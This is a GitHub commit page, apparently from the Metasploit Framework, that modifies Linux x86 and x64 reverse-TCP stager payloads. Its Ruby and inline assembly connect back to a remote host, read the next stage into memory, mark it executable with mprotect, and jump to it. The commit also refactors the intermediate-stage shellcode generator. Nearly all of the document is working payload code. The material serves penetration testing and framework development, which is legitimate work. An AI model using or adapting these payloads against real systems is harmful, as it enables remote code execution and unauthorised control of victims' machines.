Skip to content
Permalink
Browse files

Land #12271, Don't mangle staged x86, x64 payloads

  • Loading branch information...
acammack-r7 committed Sep 5, 2019
2 parents ccd6895 + 2ee5ec9 commit 598cf35e1e4359ded1f80597a0c3f77a92275ed2
@@ -89,6 +89,33 @@ def asm_reverse_tcp(opts={})
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i

mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC

if respond_to?(:generate_intermediate_stage)
pay_mod = framework.payloads.create(self.refname)
read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
elsif !module_info['Stage']['Payload'].empty?
read_length = module_info['Stage']['Payload'].size
else
# If we don't know, at least use small instructions
read_length = 0x0c00 + mprotect_flags
end

# I was bored on the train, ok?
read_reg =
if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags
# We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking:
# If the lower byte will be the same, just set the upper byte
read_length = read_length / 0x100
'dh'
elsif read_length < 0x100
'dl' # Also assembles in two bytes ^.^
elsif read_length < 0x10000
'dx' # Shave a byte off of setting `edx`
else
'edx' # Take five bytes :/
end

asm = %Q^
push #{retry_count} ; retry counter
pop esi
@@ -141,7 +168,7 @@ def asm_reverse_tcp(opts={})

asm << %Q^
mprotect:
mov dl, 0x7
mov dl, 0x#{mprotect_flags.to_s(16)}
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
@@ -155,7 +182,7 @@ def asm_reverse_tcp(opts={})
pop ebx
mov ecx, esp
cdq
mov dh, 0xc
mov #{read_reg}, 0x#{read_length.to_s(16)}
mov al, 0x3
int 0x80 ; sys_read (recv())
test eax, eax
@@ -89,6 +89,15 @@ def asm_reverse_tcp(opts={})
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i

if respond_to?(:generate_intermediate_stage)
pay_mod = framework.payloads.create(self.refname)
read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
elsif !module_info['Stage']['Payload'].empty?
read_length = module_info['Stage']['Payload'].size
else
read_length = 4096
end

asm = %Q^
mmap:
xor rdi, rdi
@@ -107,7 +116,6 @@ def asm_reverse_tcp(opts={})
push #{retry_count} ; retry counter
pop r9
push rsi
push rax
push 0x29
pop rax
@@ -161,8 +169,9 @@ def asm_reverse_tcp(opts={})
recv:
pop rsi
push 0x#{read_length.to_s(16)}
pop rdx
syscall ; read(3, "", 4096)
syscall ; read(3, "", #{read_length})
test rax, rax
js failed
@@ -8,7 +8,7 @@

module MetasploitModule

CachedSize = 129
CachedSize = 130

include Msf::Payload::Stager
include Msf::Payload::Linux::ReverseTcp_x64
@@ -34,10 +34,10 @@ def elf_ep(payload)
elf.elf_header.e_entry
end

def handle_intermediate_stage(conn, payload)
def asm_intermediate_stage(payload)
entry_offset = elf_ep(payload)

midstager_asm = %(
%(
push rdi ; save sockfd
xor rdi, rdi ; address
mov rsi, #{payload.length} ; length
@@ -82,8 +82,14 @@ def handle_intermediate_stage(conn, payload)
add rsi, rax
jmp rsi
)
end

midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
def generate_intermediate_stage(payload)
Metasm::Shellcode.assemble(Metasm::X64.new, asm_intermediate_stage(payload)).encode_string
end

def handle_intermediate_stage(conn, payload)
midstager = generate_intermediate_stage(payload)
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
conn.put(midstager) == midstager.length
end
@@ -34,10 +34,10 @@ def elf_ep(payload)
elf.elf_header.e_entry
end

def handle_intermediate_stage(conn, payload)
def asm_intermediate_stage(payload)
entry_offset = elf_ep(payload)

midstager_asm = %(
%(
push edi ; save sockfd
xor ebx, ebx ; address
mov ecx, #{payload.length} ; length
@@ -85,8 +85,14 @@ def handle_intermediate_stage(conn, payload)
add edx, eax
jmp edx
)
end

midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
def generate_intermediate_stage(payload)
Metasm::Shellcode.assemble(Metasm::X86.new, asm_intermediate_stage(payload)).encode_string
end

def handle_intermediate_stage(conn, payload)
midstager = generate_intermediate_stage(payload)
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
conn.put(midstager) == midstager.length
end

0 comments on commit 598cf35

Please sign in to comment.
You can’t perform that action at this time.